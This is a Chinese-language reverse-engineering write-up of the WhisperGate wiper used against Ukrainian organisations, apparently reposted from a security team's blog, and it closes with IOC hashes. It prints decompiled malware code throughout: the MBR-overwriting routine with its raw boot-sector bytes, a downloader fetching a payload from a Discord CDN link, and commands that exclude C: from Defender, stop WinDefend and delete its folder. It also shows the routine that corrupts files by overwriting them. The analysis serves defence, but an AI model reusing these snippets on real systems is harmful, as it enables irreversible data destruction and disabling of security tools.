针对乌克兰组织的破坏性恶意软件WhisperGate分析

admin 2022年1月31日12:10:56评论203 views字数 15591阅读51分58秒阅读模式


概述

微软威胁情报中心(MSTIC)已经确认了一个针对乌克兰多个组织的破坏性恶意软件攻击活动,恶意软件于2022年1月13日首次出现在受害者的系统中。

本文主要对攻击中的破坏性恶意软件进行分析。

总体流程

针对乌克兰组织的破坏性恶意软件WhisperGate分析

阶段1恶意软件分析

程序首先注册了一些异常处理函数,重点在sub_403b60,sub_403b60向磁盘 0 引导扇区写入了一些数据
int __usercall sub_403B60@<eax>(DWORD a1@<ebp>)
{
  //...
  dwDesiredAccess[1] = dwDesiredAccess[2];
  dwDesiredAccess[0] = a1;
  v1 = alloca(sub_401FE0((char)&dwCreationDisposition));
  sub_401990();
  qmemcpy(&dwDesiredAccess[-2054], &unk_404020, 0x2000u);
  v2 = CreateFileW(L"\\.\PhysicalDrive0"0x10000000u, 3u03u00);
  WriteFile(v2, &dwDesiredAccess[-2054], 0x200u, 00);
  CloseHandle(v2);
  return 0;
}
写入的数据为:
b'xebx00x8cxc8x8exd8xbex88|xe8x00x00Pxfcx8ax04<x00tx06xe8x05x00Fxebxf4xebx05xb4x0excdx10xc3x8cxc8x8exd8xa3x|fxc7x06v|x82|x00x00xb4Cxb0x00x8ax16x87|x80xc2x80xber|xcdx13rx02sx18xfex06x87|fxc7x06z|x01x00x00x00fxc7x06~|x00x00x00x00xebxc4fx81x06z|xc7x00x00x00fx81x16~|x00x00x00x00xf8xebxafx10x00x01x00x00x00x00x00x01x00x00x00x00x00x00x00AAAAAx00Your hard drive has been corrupted.rnIn case you want to recover all hard drivesrnof your organization,rnYou should pay us  $10k via bitcoin walletrn1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message viarntox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23054C057ECED5496F65rnwith your organization name.rnWe will contact you to give further instructions.x00x00x00x00Uxaa'
使用把这个写入另一个文件,使用 IDA(16 bit mode)反汇编一下,得到:
seg000:7C00 ; Segment type: Pure code
seg000:7C00 seg000 segment byte public 'CODE' use16
seg000:7C00 assume cs:seg000
seg000:7C00 ;org 7C00h
seg000:7C00 assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:7C00 jmp short $+2
seg000:7C02 ; ---------------------------------------------------------------------------
seg000:7C02
seg000:7C02 loc_7C02: ; CODE XREF: seg000:7C00↑j
seg000:7C02 mov ax, cs
seg000:7C04 mov ds, ax
seg000:7C06 mov si, 7C88h
seg000:7C09 call $+3
seg000:7C0C push ax
seg000:7C0D cld
seg000:7C0E
seg000:7C0E loc_7C0E: ; CODE XREF: seg000:7C18↓j
seg000:7C0E mov al, [si]
seg000:7C10 cmp al, 0
seg000:7C12 jz short loc_7C1A
seg000:7C14 call sub_7C1C
seg000:7C17 inc si
seg000:7C18 jmp short loc_7C0E
seg000:7C1A ; ---------------------------------------------------------------------------
seg000:7C1A
seg000:7C1A loc_7C1A: ; CODE XREF: seg000:7C12↑j
seg000:7C1A jmp short loc_7C21
seg000:7C1C
seg000:7C1C ; =============== S U B R O U T I N E =======================================
seg000:7C1C
seg000:7C1C
seg000:7C1C sub_7C1C proc near ; CODE XREF: seg000:7C14↑p
seg000:7C1C mov ah, 0Eh
seg000:7C1E int 10h ; - VIDEO - WRITE CHARACTER AND ADVANCE CURSOR (TTY WRITE)
seg000:7C1E ; AL = character, BH = display page (alpha modes)
seg000:7C1E ; BL = foreground color (graphics modes)
seg000:7C20 retn
seg000:7C20 sub_7C1C endp
seg000:7C20
seg000:7C21 ; ---------------------------------------------------------------------------
seg000:7C21
seg000:7C21 loc_7C21: ; CODE XREF: seg000:loc_7C1A↑j
seg000:7C21 ; seg000:7C5B↓j ...
seg000:7C21 mov ax, cs
seg000:7C23 mov ds, ax
seg000:7C25 mov ds:word_7C78, ax
seg000:7C28 mov dword ptr ds:word_7C76, 7C82h
seg000:7C31 mov ah, 43h ; 'C'
seg000:7C33 mov al, 0
seg000:7C35 mov dl, ds:byte_7C87
seg000:7C39 add dl, 80h
seg000:7C3C mov si, 7C72h
seg000:7C3F int 13h ; DISK - IBM/MS Extension - EXTENDED WRITE (DL - drive, AL - verify flag, DS:SI - disk address packet)
seg000:7C41 jb short loc_7C45
seg000:7C43 jnb short loc_7C5D
seg000:7C45
seg000:7C45 loc_7C45: ; CODE XREF: seg000:7C41↑j
seg000:7C45 inc ds:byte_7C87
seg000:7C49 mov ds:dword_7C7A, 1
seg000:7C52 mov ds:dword_7C7E, 0
seg000:7C5B jmp short loc_7C21
seg000:7C5D ; ---------------------------------------------------------------------------
seg000:7C5D
seg000:7C5D loc_7C5D: ; CODE XREF: seg000:7C43↑j
seg000:7C5D add ds:dword_7C7A, 0C7h
seg000:7C66 adc ds:dword_7C7E, 0
seg000:7C6F clc
seg000:7C70 jmp short loc_7C21
seg000:7C70 ; ---------------------------------------------------------------------------
seg000:7C72 db 10h
seg000:7C73 align 2
seg000:7C74 db 1, 0
seg000:7C76 word_7C76 dw 0 ; DATA XREF: seg000:7C28↑w
seg000:7C78 word_7C78 dw 0 ; DATA XREF: seg000:7C25↑w
seg000:7C7A dword_7C7A dd 1 ; DATA XREF: seg000:7C49↑w
seg000:7C7A ; seg000:loc_7C5D↑w
seg000:7C7E dword_7C7E dd 0 ; DATA XREF: seg000:7C52↑w
seg000:7C7E ; seg000:7C66↑w
seg000:7C82 db 41h ; A
seg000:7C83 db 4 dup(41h)
seg000:7C87 byte_7C87 db 0 ; DATA XREF: seg000:7C35↑r
seg000:7C87 ; seg000:loc_7C45↑w
seg000:7C88 aYourHardDriveH db 'Your hard drive has been corrupted.',0Dh,0Ah
seg000:7C88 db 'In case you want to recover all hard drives',0Dh,0Ah
seg000:7C88 db 'of your organization,',0Dh,0Ah
seg000:7C88 db 'You should pay us $10k via bitcoin wallet',0Dh,0Ah
seg000:7C88 db '1AVNM68gj6PGPFcJuftKATa4WLnzg8fpfv and send message via',0Dh,0Ah
seg000:7C88 db 'tox ID 8BEDC411012A33BA34F49130D0F186993C6A32DAD8976F6A5D82C1ED23'
seg000:7C88 db '054C057ECED5496F65',0Dh,0Ah
seg000:7C88 db 'with your organization name.',0Dh,0Ah
seg000:7C88 db 'We will contact you to give further instructions.',0
seg000:7DFB db 3 dup(0), 55h, 0AAh
seg000:7DFB seg000 ends

汇编代码比较清晰,即向屏幕输出“你的硬盘被破坏了,请支付赎金”,并给出了非常简略的联系方式。似乎该破坏行动是为了单纯的破坏,而不是勒索钱财。

值得注意的是,这段代码会在关机重启后执行,所以一旦发现感染了病毒,及时清除病毒并修复引导扇区,可以直接阻止恶意行为。

阶段2分析

阶段 2 的 payload 加入了一些混淆,先用 de4dot 去一下混淆,然后拖进 dnspy
public static void Main()
 {
  for (;;)
  {
   IL_64:
   Console.WriteLine(Application.ExecutablePath);
   for (;;)
   {
    int num = 1;
    if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_d3e3b107f8904fb69ad941560b17473e == 0)
    {
     goto IL_15;
    }
    IL_2E:
        // non-use code
        IL_03:
    Manager.LogoutFacade();
    num = 0;
    if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_3c87806b12d7438cba956510142600ea != 0)
    {
     goto IL_2E;
    }
    IL_15:
    Console.WriteLine(Application.StartupPath);
    num = 2;
    if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_774b9210d98142ebb4413559daae5a44 == 0)
    {
     goto IL_03;
    }
    goto IL_2E;
   }
  }
虽然代码很多,但是实际上就调用了Manager.LogoutFacade
public static void LogoutFacade()
 {
  Type[] array = Manager.PushItem(Manager.ListItem());
  Type[] array2 = array;
    // non-use code
   }
重点在于Manager.ListItem,ListItem 调用了Facade.PrintFacade()
public static Assembly PrintFacade()
 {
  Assembly assembly;
   assembly = Facade.LogoutItem(Facade.ChangeFacade());
      // non-use code
     Assembly result;
  return result;
  IL_33:
  result = assembly;
  return result;
 }
其中 LogoutItem 就是 Assembly.Load,下面分析Facade.ChangeFacade
private static byte[] ChangeFacade()
 {
  byte[] result;
  for (;;)
  {
   Facade.ValidateItem();
   int num = 1;
      // break
      goto IL_39;
  }
  goto IL_AC;
  IL_39:
  IL_3A:
  try
  {
   ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
  }
  catch
  {
  }
  IL_4A:
  byte[] array = (byte[])Facade.UpdateItem(typeof(WebClient).GetMethod("DxownxloxadDxatxxax".Replace("x"""), new Type[]
  {
   Facade.MoveItem(typeof(string).TypeHandle)
  }), new WebClient(), new object[]
  {
   "https://cdn.discordapp.com/attachments/928503440139771947/930108637681184768/Tbopbh.jpg"
  });
  IL_9F:
  bool flag = array.Length > 1;
  IL_A8:
  if (!flag)
  {
   goto IL_B8;
  }
  IL_AC:
  Facade.InsertItem(array, 0, array.Length);
  IL_B8:
  result = array;
  return result;
 }
其中 ValidateItem()
object_ = "0AUwBsAGUAZQBwACAALQBzACAAMQAwAA==";
//...
  Facade.InitItem(Facade.SetItem(new ProcessStartInfo
  {
   FileName = "powershell",
   Arguments = Facade.SearchItem("-enc UwB0AGEAcgB0AC", object_),
   WindowStyle = ProcessWindowStyle.Hidden
  }));
  num2++;
  IL_97:
  flag = (num2 < 2);
  goto IL_5A;
实际上就是执行了命令,休眠 10s 逃避沙箱检测
powershell -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwAA== # Start-Sleep -s 10

ChangeFacade 下载了一个资源文件,并且反转数组。其中 UpdateItem 调用了第一个参数的invoke()方法。InsertItem 反转数组。

下载之后返回,再经过之前的 Assembly.Load,就执行了第三阶段的 payload

再回到 Manager.LogoutFacade,可以看到获取 Assembly 之后调用了 PushItem
Manager.PublishItem(type.GetMethods());
然后 PublishItem,最终调用了 FillFacade 方法
private static void FillFacade(MethodInfo[] spec)
 {
  for (;;)
  {
   IL_BB:
   for (;;)
   {
    IL_B6:
    int i = 0;
    IL_A9:
    while (i < spec.Length)
    {
     int num = 1;
     if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_2c14d7a09b2547d0bb8f361f957318cd == 0)
     {
      goto IL_3F;
     }
     for (;;)
     {
      IL_71:
      MethodInfo methodInfo;
      switch (num)
      {
      case 1:
       methodInfo = spec[i];
       goto IL_53;
      case 2:
      case 4:
      case 6:
       goto IL_A9;
      case 3:
       goto IL_53;
      case 5:
      case 9:
       goto IL_B6;
      case 8:
       return;
      case 10:
       goto IL_BB;
      case 11:
       goto IL_15;
      }
      break;
      IL_15:
      bool flag;
      if (!flag)
      {
       num = 0;
       if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_998eb8dec19c46dbadb23b38e4845884 != 0)
       {
        break;
       }
       continue;
      }
      else
      {
       methodInfo.Invoke(nullnull);
       num = 2;
       if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_a1c1ff6dd32b4941b387e9a3f27456af != 0)
       {
        break;
       }
       continue;
      }
      IL_53:
      flag = Manager.ReflectItem(methodInfo.Name, "Ylfwdwgmpilzyaph");
      goto IL_15;
     }
     IL_3F:
     i++;
     num = 1;
     if (<Module>{89a366a7-2270-4665-8440-cb5a27ea74fd}.m_dd2f1ebca64349f79180980532b8e09c != 0)
     {
      goto IL_71;
     }
    }
    return;
   }
  }
 }

在查找一个名为Ylfwdwgmpilzyaph的方法,然后调用。

阶段3分析

public static void Ylfwdwgmpilzyaph()
  {
   Class57.smethod_0().method_15(Class57.smethod_2(), "#6k@H!uq=A"null);
  }
先调用了Class57.smethod_2()
public static Stream smethod_2()
 {
  if (Class57.stream_0 == null)
  {
   Class57.stream_0 = Class77.smethod_0(typeof(Class57).Assembly.GetManifestResourceStream("7c8cb5598e724d34384cce7402b11f0e"), new byte[]
   {
    180,
    // ...
    194
   }, Class57.smethod_1());
  }
  return Class57.stream_0;
 }

加载了一个资源,然后调用Class77.smethod_0

由于过于复杂,使用 powershell 加载后调试
[reflection.assembly]::LoadFile("C:/Users/kali/Desktop/stage3.bin/stage3-cleaned.dll")
[ClassLibrary1.Main]::Ylfwdwgmpilzyaph()

调试中发现,很多 API 都不是直接调用,猜测有反射调用方法。

反射中要用到 invoke 方法,所以寻找 invoke 的关联树。

针对乌克兰组织的破坏性恶意软件WhisperGate分析

也就是说,u0002u2008 的两个重载函数 u0002 调用了 windowsAPI,而第一个函数

private static void u0002(Exception u0002)
 {
  try
  {
   MethodInfo method = typeof(Exception).GetMethod(global::u000Fu2004u2000.u0002(-1506766328), BindingFlags.Instance | BindingFlags.NonPublic, null, Type.EmptyTypes, null);
   if (method != null)
   {
    method.Invoke(u0002, null);
    return;
   }
  }
  //...
 }
应该是进行异常处理的函数。所以调用 Windows API 的函数在这里。在这个函数下断点
private static object u0002(MethodBase u0002, object u0003, object[] u0005)
 {
  if (u0002.IsConstructor)
  {
   try
   {
    return Activator.CreateInstance(u0002.DeclaringType, BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, u0005, null);
   }
   catch (AmbiguousMatchException)
   {
    return ((ConstructorInfo)u0002).Invoke(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, u0005, null);
   }
  }
  return u0002.Invoke(u0003, u0005);
 }

后面观察这个 API 调用就可以了

1. 首先获取 powershell 模块

针对乌克兰组织的破坏性恶意软件WhisperGate分析

2. 然后获取 powershell 路径

针对乌克兰组织的破坏性恶意软件WhisperGate分析

针对乌克兰组织的破坏性恶意软件WhisperGate分析

3. 获取当前用户

针对乌克兰组织的破坏性恶意软件WhisperGate分析

4. 判断当前用户是否是管理员

针对乌克兰组织的破坏性恶意软件WhisperGate分析

5. 获取 powershell 路径字符串的 c# 变量路径

针对乌克兰组织的破坏性恶意软件WhisperGate分析

6. 获取 windows 系统路径

针对乌克兰组织的破坏性恶意软件WhisperGate分析

7. powershell 路径是不是系统路径里面的

针对乌克兰组织的破坏性恶意软件WhisperGate分析

8. 获取 powershell 的根路径

针对乌克兰组织的破坏性恶意软件WhisperGate分析

9. 获取临时目录

针对乌克兰组织的破坏性恶意软件WhisperGate分析

10. 连接一个字符串,看上去是一个 vbs 脚本目录

针对乌克兰组织的破坏性恶意软件WhisperGate分析

11. 连接三个字符串

针对乌克兰组织的破坏性恶意软件WhisperGate分析

是一个 vbs 脚本
12. 将拼接的字符串写入文件

针对乌克兰组织的破坏性恶意软件WhisperGate分析

CreateObject("WScript.Shell").Run "powershell Set-MpPreference -ExclusionPath 'C:'", 0, False"

即让 Windows defender 不再扫描 C 文件夹

13. 设置一个新进程并启动脚本

针对乌克兰组织的破坏性恶意软件WhisperGate分析

针对乌克兰组织的破坏性恶意软件WhisperGate分析

14. 判断是否存在目标文件

针对乌克兰组织的破坏性恶意软件WhisperGate分析

然后构造一个新数组,利用 gzip 解压这个数组,并把数组写入到目标文件,并执行

针对乌克兰组织的破坏性恶意软件WhisperGate分析

针对乌克兰组织的破坏性恶意软件WhisperGate分析

针对乌克兰组织的破坏性恶意软件WhisperGate分析

针对乌克兰组织的破坏性恶意软件WhisperGate分析

针对乌克兰组织的破坏性恶意软件WhisperGate分析

后面陆续执行了几条命令,都是用 AdvancedRun 执行的

针对乌克兰组织的破坏性恶意软件WhisperGate分析

C:UserskaliAppDataLocalTempAdvancedRun.exe /EXEFilename "C:WindowsSystem32sc.exe" /WindowState 0 /CommandLine "stop WinDefend"  /StartDirectory "" /RunAs 8 /Run
/EXEFilename "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:ProgramDataMicrosoftWindows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run"
(在这里谢谢你帮我关闭 wdf)

然后获取并连接了另一字符串

针对乌克兰组织的破坏性恶意软件WhisperGate分析

解压了另一个 payload,然后注入到 InstallUtil.exe。中间有一些获取函数地址的地方。

针对乌克兰组织的破坏性恶意软件WhisperGate分析

针对乌克兰组织的破坏性恶意软件WhisperGate分析

针对乌克兰组织的破坏性恶意软件WhisperGate分析

执行对应的 payload,自身退出

针对乌克兰组织的破坏性恶意软件WhisperGate分析

针对乌克兰组织的破坏性恶意软件WhisperGate分析

针对乌克兰组织的破坏性恶意软件WhisperGate分析

第四阶段分析

核心逻辑在 sub_4017b0 中

UINT sub_4017B0()
{
  DWORD v0; // ebx
  int i; // esi
  UINT result; // eax
  WCHAR RootPathName[17]; // [esp+26h] [ebp-22h] BYREF

  v0 = GetLogicalDrives();
  qmemcpy(RootPathName, "A"0xAu);
  RootPathName[3] = 0;
  for ( i = 0; i != 26; ++i )
  {
    result = (__int64)pow(2.0, (double)i);
    if ( (v0 & result) != 0 )
    {
      RootPathName[0] = i + 'A';
      if ( GetDriveTypeW(RootPathName) == DRIVE_FIXED || (result = GetDriveTypeW(RootPathName), result == DRIVE_REMOTE) )
      {
        RootPathName[3] = '*';
        result = sub_40160B(RootPathName);
        RootPathName[3] = 0;
      }
    }
  }
  return result;
}
获取所有盘符,如果有磁盘或者远程磁盘就对磁盘中所有文件执行 sub_40160B。
int __cdecl sub_40160B(LPCWSTR lpFileName)
{
  // ...
  struct _WIN32_FIND_DATAW FindFileData; // [esp+40h] [ebp-268h] BYREF

  hFindFile = FindFirstFileW(lpFileName, &FindFileData);
  result = (int)hFindFile + 1;
  if ( hFindFile != (HANDLE)-1 )
  {
    do
    {
      if ( wcscmp(FindFileData.cFileName, ::String2) )
      {
        if ( wcscmp(FindFileData.cFileName, L"..") )
        {
          if ( wcscmp(FindFileData.cFileName, asc_406086) )
          {
            v2 = wcslen(FindFileData.cFileName);
            v3 = wcslen(lpFileName);
            v6 = v2 + v3;
            v4 = (wchar_t *)malloc(2 * (v2 + v3 + 4));
            wcscpy(v4, lpFileName);
            v4[v3 - 1] = 0;
            wcscat(v4, FindFileData.cFileName);
            qmemcpy(String2, L"A:\Windows"sizeof(String2));
            String2[0] = *wgetenv(L"HOMEDRIVE");
            if ( wcscmp(v4, String2) )
            {
              if ( sub_401460(v4) )
              {
                v5 = v6 + 0x7FFFFFFF;
                v4[v5] = 92;
                v4[v5 + 1] = 42;
                v4[v5 + 2] = 0;
                sub_40160B(v4);
              }
              else
              {
                sub_4015B3(v4);
              }
              free(v4);
            }
          }
        }
      }
    }
    while ( FindNextFileW(hFindFile, &FindFileData) );
    result = FindClose(hFindFile);
  }
  return result;
}
列出所有文件,对于每一个文件/文件夹,如果是文件夹并且有访问权限,就进入文件夹递归执行,否则就执行 sub_4015b3
int __cdecl sub_4015B3(wchar_t *a1)
{
  // ...

  v1 = 0;
  String2 = (const wchar_t *)sub_4014B6(a1); // 获取文件后缀名
  sub_401492(String2); // 转换为大写
  while ( 1 )
  {
    result = wcscmp(off_405020[v1], String2); // 判断一系列后缀名
    if ( !result )
      break;
    if ( ++v1 == 195 ) // 不在列表里,直接返回
      return result;
  }
  return sub_4014E3(a1); // 在列表里,执行这个函数
}
判断了文件后缀名是否在一个列表里
 .HTML .HTM . .XHTML . .PHP . .ASP . . . . . . . . .DOCX .XLS . . .PPTX .PST . .MSG . .VSD . . .CSV . .WKS . .PDF . .ONETOC2 . .JPEG .JPG . . . .DOTM .DOTX .XLSM .XLSB .XLW . .XLM . .XLTX .XLTM .PPTM .POT . .PPSM .PPSX .PPAM .POTX .POTM .EDB . .602 . .STI . . . .XLSM .PPTM . .PNG . .RAW . .SLN . .TIFF .NEF . .AI .SVG . .CLASS . .BRD . .DCH . .PL .VB .VBS . .BAT . .JS .ASM . .PAS . .C . . .ASC . . .MML . .OTG . .UOP . .SXD . .ODP . .SLK . .STC . .OTS . .3DM . .3DS . .STW . .OTT . .PEM . .CSR . .KEY . .DER . .RB .GO .JAVA .RB .INC . .PY .KDBX .INI . .PPK . .VDI . . .HDD . .VMSD .VMSN .VMSS .VMTM .VMX . . . . . .IBD . .MYD . .SAV . .DBF . . .ACCDB . .SQLITEDB .SQLITE3 . .SQ3 . .PAQ . .TBK . .TAR . .GZ .7Z .RAR . .BACKUP .ISO . .BZ .CONFIG 
如果在列表里,就执行 sub_4014e3
void __cdecl sub_4014E3(wchar_t *FileName)
{
  //...
  v1 = wcslen(FileName);
  v2 = (wchar_t *)malloc(2 * (v1 + 20));
  v3 = rand();
  v4 = wcslen(FileName);
  swprintf(v2, (const size_t)L"%.*s.%x", (const wchar_t *const)(v4 - 4), FileName, v3);
  Stream = wfopen(FileName, L"wb");
  v5 = malloc(0x100000u);
  memset(v5, 0xcc0x100000u);
  fwrite(v5, 1u0x100000u, Stream);
  fclose(Stream);
  wrename(FileName, v2);
  free(v2);
  free(v5);
}

给文件随机添加后缀名,然后将前 0x100000 个字节更改为 0xcc,也就是烫烫烫,注意,这种更改是不可逆、无法恢复的。

IOCs

文件名 SHA256
stage1.exe a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92
stage2.exe dcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78
stage3.exe 923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6

参考资料

  1. https://paper.seebug.org/1815/

  2. https://blog.csdn.net/Cdreamfly/article/details/105004784

  3. https://bbs.pediy.com/thread-50714.htm

  4. https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3

  5. https://github.com/hexfati/SharpDllLoader

  6. https://blog.csdn.net/y97523szb/article/details/6950730

  7. https://www.netskope.com/blog/netskope-threat-coverage-whispergate

end


招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]



针对乌克兰组织的破坏性恶意软件WhisperGate分析

原文始发于微信公众号(ChaMd5安全团队):针对乌克兰组织的破坏性恶意软件WhisperGate分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月31日12:10:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   针对乌克兰组织的破坏性恶意软件WhisperGate分析https://cn-sec.com/archives/760335.html

发表评论

匿名网友 填写信息